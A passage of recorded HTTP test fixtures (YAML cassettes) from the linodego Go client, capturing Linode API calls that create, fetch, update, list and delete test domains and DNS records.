Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153528 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomainRecord_Get.yaml000066400000000000000000000206701474652371000314620ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3153532, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153532/records method: POST response: body: '{"id": 36666868, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153532/records/36666868 method: GET response: body: '{"id": 36666868, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153532/records/36666868 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153532 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomainRecord_Update.yaml000066400000000000000000000206611474652371000321650ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3153529, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153529/records method: POST response: body: '{"id": 36666865, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"renamed"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153529/records/36666865 method: PUT response: body: '{"id": 36666865, "type": "A", "name": "renamed", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153529/records/36666865 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153529 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomainRecords_List.yaml000066400000000000000000000210241474652371000320330ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3153530, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153530/records method: POST response: body: '{"id": 36666866, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"name":"a"}' url: https://api.linode.com/v4beta/domains/3153530/records?page=1 method: GET response: body: '{"data": [{"id": 36666866, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "283" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153530/records/36666866 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153530 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestDomainRecords_ListMultiplePages.yaml000066400000000000000000000210241474652371000344500ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3153531, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153531/records method: POST response: body: '{"id": 36666867, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"name":"a"}' url: https://api.linode.com/v4beta/domains/3153531/records?page=1 method: GET response: body: '{"data": [{"id": 36666867, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "283" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153531/records/36666867 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153531 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomain_Clone.yaml000066400000000000000000000200131474652371000306330ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3163304, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 15:25:43 GMT Pragma: 